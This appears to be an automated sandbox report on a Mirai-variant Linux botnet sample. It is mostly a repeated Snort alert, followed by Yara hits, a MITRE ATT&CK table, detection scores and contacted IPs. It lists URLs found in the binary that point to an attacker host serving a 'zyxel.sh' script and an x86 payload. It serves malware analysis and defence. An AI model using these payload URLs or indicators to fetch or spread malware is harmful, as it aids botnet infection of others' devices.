Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)

Yara detected Mirai

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: kncYk2tWvH.elf, type: SAMPLE
Source: Yara match	File source: 5434.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5441.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5432.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	Direct Volume Access	1 OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	11 Non-Standard Port	Exfiltration Over Other Network Medium	1 Service Stop
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Source	Detection	Scanner	Label
kncYk2tWvH.elf	70%	ReversingLabs	Linux.Trojan.Mirai
kncYk2tWvH.elf	100%	Avira	EXP/ELF.Mirai.Bootnet.Gen.o
kncYk2tWvH.elf	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://192.168.0.14:80/cgi-bin/ViewLog.asp	0%	Avira URL Cloud	safe
http://45.142.107.38/zyxel.sh;	0%	Avira URL Cloud	safe
http://45.142.107.38/bins/x86	0%	Avira URL Cloud	safe

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
daisy.ubuntu.com	162.213.35.25	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://192.168.0.14:80/cgi-bin/ViewLog.asp	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://schemas.xmlsoap.org/soap/encoding/	kncYk2tWvH.elf	false		high
http://45.142.107.38/bins/x86	kncYk2tWvH.elf	false	Avira URL Cloud: safe	unknown
http://45.142.107.38/zyxel.sh;	kncYk2tWvH.elf	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/soap/envelope/	kncYk2tWvH.elf	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
41.87.198.38	unknown	South Africa	37315	CipherWaveZA	false
94.66.233.228	unknown	Greece	6799	OTENET-GRAthens-GreeceGR	false
112.40.230.205	unknown	China	56044	CMNET-AS-LIAONINGChinaMobilecommunicationscorporationC	false
135.133.43.243	unknown	United States	14962	NCR-252US	false
95.239.15.49	unknown	Italy	3269	ASN-IBSNAZIT	false
18.160.223.51	unknown	United States	3	MIT-GATEWAYSUS	false
62.181.174.189	unknown	Poland	12741	AS-NETIAWarszawa02-822PL	false
157.37.165.98	unknown	India	55836	RELIANCEJIO-INRelianceJioInfocommLimitedIN	false
40.82.61.159	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
85.108.172.21	unknown	Turkey	9121	TTNETTR	false
94.174.138.235	unknown	United Kingdom	5089	NTLGB	false
94.6.4.186	unknown	United Kingdom	5607	BSKYB-BROADBAND-ASGB	false
95.29.14.167	unknown	Russian Federation	8402	CORBINA-ASOJSCVimpelcomRU	false
95.14.46.157	unknown	Turkey	9121	TTNETTR	false
94.85.218.97	unknown	Italy	3269	ASN-IBSNAZIT	false
197.173.155.52	unknown	South Africa	37168	CELL-CZA	false
85.100.28.114	unknown	Turkey	9121	TTNETTR	false
31.14.164.11	unknown	Syrian Arab Republic	29256	INT-PDN-STE-ASSTEPDNInternalASSY	false
197.219.238.89	unknown	Mozambique	37342	MOVITELMZ	false
95.115.114.31	unknown	Germany	6805	TDDE-ASN1DE	false
52.154.85.241	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
95.214.171.202	unknown	Germany	398083	TING-WIRELESSUS	false
